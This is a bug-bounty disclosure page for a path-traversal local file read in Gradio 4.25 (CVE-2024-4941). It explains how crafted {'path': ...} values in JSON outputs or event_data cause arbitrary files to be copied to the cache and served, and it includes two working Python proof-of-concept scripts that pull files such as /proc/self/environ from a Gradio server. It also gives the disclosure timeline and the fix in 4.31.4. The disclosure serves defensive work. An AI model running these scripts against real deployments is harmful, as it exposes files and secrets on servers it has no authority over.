

LFI in JSON component in gradio-app/gradio

✓ Valid

Reported on Apr 8th 2024

Description

Passing a user controlled string to a JSON component

(`gradio/components/json_component.py`) can lead to local file read. To illustrate this start with a simplest app

```
# json_app.py:
import gradio as gr

def show_json(text):
    return text

demo = gr.Interface(fn=show_json, inputs="text", outputs="json")

if __name__ == "__main__":
    demo.launch()
```

in `postprocess()` function of json component, it will parse a string as `json.loads(value)` to a python `dict`. If this parsed `dict` has a value `{ "path" : "/path/to/file" }` anywhere inside, `/path/to/file` will be moved to a temporary directory and it is possible to retrieve it later using `/file=..` endpoint. This happens in `gradio/blocks.py` `postprocess_data()` function where it calls `processing_utils.move_files_to_cache()` on all outputs of a component.

`move_files_to_cache()` function will traverse any object that is passed to it looking for a `dict` that has `path` as a key. Once such value is found, it will copy that file specified in `path` to a temporary directory and will replace the original `{ "path" : "/path/to/file" }` with a new `dict` that contains a new path (and some more fields from `FileData` class). Inspecting the results of the output it is possible to get this new path and download the file.

Proof of Concept

```
$ pip install 'gradio==4.25'
```

```
$ python json_app.py
```

```
Running on local URL: http://127.0.0.1:7860
```

```
To create a public link, set `share=True` in `launch()`.
```

```
$ python poc.py --url='http://127.0.0.1:7860' --path='/proc/self/environ'  
ALACRITTY_LOG=/tmp/Alacritty-18072.logALACRITTY_SOCKET=/run/user/1000/Alacritty-way
```

```
# poc.py  
from argparse import ArgumentParser  
from requests import Session  
  
if __name__ == "__main__":  
    parser = ArgumentParser()  
    parser.add_argument("--url", default="http://127.0.0.1:7860")  
    parser.add_argument("--path", default="/proc/self/environ")  
    args = parser.parse_args()  
  
    with Session() as s:  
        rsp = s.post(f"{args.url}/run/predict", json={  
            "data" : [  
                '{"can be": [{"anywhere" : [ 123, { "path" : "PATH" } ] }]', "foo" :  
            ],  
            "fn_index" : 0  
        })  
  
        path = rsp.json()["data"][0]["can be"][0]["anywhere"][1]["path"]  
        rsp = s.get(f"{args.url}/file={path}")  
  
        try:  
            print(rsp.content.decode())  
        except UnicodeError:  
            print(rsp.content)
```

A similar process happens in `preprocess_data()` function too, but there a call to `processing_utils.move_files_to_cache()` is made with `check_in_upload_folder` argument, so it will check that path is already saved in upload folder, but it is not the case for `postprocess_data()`.

Another potential attack vector how to sneak a `dict` with `{"path" : "/path/to/file"}` to `postprocess_data()` is through `event_data`. Again, the simplest app to illustrate this would be something like

```
# event_app.py  
import gradio as gr  
  
with gr.Blocks() as demo:  
    target_component = gr.Checkbox()  
    # these componentents will also work:  
    # target_component = gr.ImageEditor()  
    # target_component = gr.Gallery()  
    # ... or any component with `select` or `change`  
  
    output_component = gr.Number()  
    # output_component = gr.HTML()  
    # ...
```

```

def handle_select(ev: gr.SelectData):
    return ev.index
    # return ev.value

target_component.select(handle_select, None, output_component)
# other event listeners are vulnerable too:
# target_component.change(handle_select, None, output_component)

if __name__ == "__main__":
    demo.launch()

```

while this does require a very specific setup, it is an easy mistake to make, for example

`gallery_selections` demo in <https://www.gradio.app/docs/eventdata> (<https://gradio-gallery-selections.hf.space/>) is vulnerable to this.

What happens here is that `call_function()` method in `gradio/blocks.py` will call `special_args()` function that will look for function arguments that have a type hint that is a subclass of `EventData` and will add a user controlled dict (through `event_data` in request to `/queue/join`) to the inputs of that function. This happens after `preprocess_data()` is called, so even if `path` points to a directory outside of `/tmp/gradio` this will not trigger an exception and will end up in the output of the `output_component`. Then `postprocess_data()` will copy that file to upload directory where it will be accessible through `/file=...` endpoint.

```

from argparse import ArgumentParser
from requests import Session

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", default="http://127.0.0.1:7860")
    parser.add_argument("--path", default="/proc/self/environ")
    args = parser.parse_args()

    url_base = args.url

    with Session() as s:
        rsp = s.post(f"{url_base}/queue/join", json={
            "session_hash" : "aaaaaaa",
            "data" : [],
            "event_data" : {
                "index" : { "path" : args.path },
                "value" : "whatever"
            },
            "fn_index" : 0, # use fn_index=2 if targeting gallery_selections demo
        })

        print(rsp.json())
        rsp = s.get(f"{url_base}/queue/data?session_hash=aaaaaaa")
        for data in rsp.text.split("\n"):
            if '"path"' in data:
                break

        data = json.loads(data.removeprefix("data: "))["output"]
        path = data["data"][0]["path"]

```

```
rsp = s.get(f"{url_base}/file={path}")
```

```
try:  
    print(rsp.content.decode())  
except UnicodeError:  
    print(rsp.content)
```

Impact

This vulnerability is capable of reading files on a remote system.

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago



✍️ **huntr-helper** modified the Severity from High (7.5) to Medium (6.5) 2 years ago

✉️ We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago

✉️ We have sent a follow up to the **gradio-app/gradio** team. We will try again in 4 days. 2 years ago

✍️ **Dan McInerney** modified the Severity from Medium (6.5) to High (7.5) 2 years ago

✉️ We have sent a second follow up to the **gradio-app/gradio** team. We will try again in 7 days. 2 years ago

✉️ We have sent a third follow up to the **gradio-app/gradio** team. We will try again in 14 days. 2 years ago

✉️ We have sent a fourth follow up to the **gradio-app/gradio** team. We will send a final notification 48 hours before report publication. 2 years ago

Abubakar Abid commented 2 years ago

Maintainer

Thanks @ozelis for reporting! Agreed this is concerning! We'll take a look and fix as soon as we can



A **gradio-app/gradio** maintainer has acknowledged this report 2 years ago

✍️ The scheduled publication date was automatically extended from 24th May 2024 to 31st May 2024 due to the maintainers acknowledgement of the report 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✓ Abubakar Abid validated this vulnerability 2 years ago

\$ ozelis has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 CVE-2024-4941 assigned to this report. 2 years ago

✓ Freddy Boulton marked this as fixed in 4.31.4 with commit ee1e29 2 years ago

\$ Freddy Boulton has been awarded the fix bounty ✓

❤️ Freddy Boulton gave praise 2 years ago

Thanks for filing! This was fixed last week.

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1

⚠️ We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours 2 years ago

📡 This vulnerability has now been published 2 years ago

👤 CVE-2024-4941 has now been published 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2024-4941

Published

Vulnerability Type

CWE-22: Path Traversal

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) ↗

Registry

Pypi

Affected Version

4.25

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



ozelis

@ozelis

MIDDLEWEIGHT



Fixed by



Freddy Boulton

@freddyaboulton

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)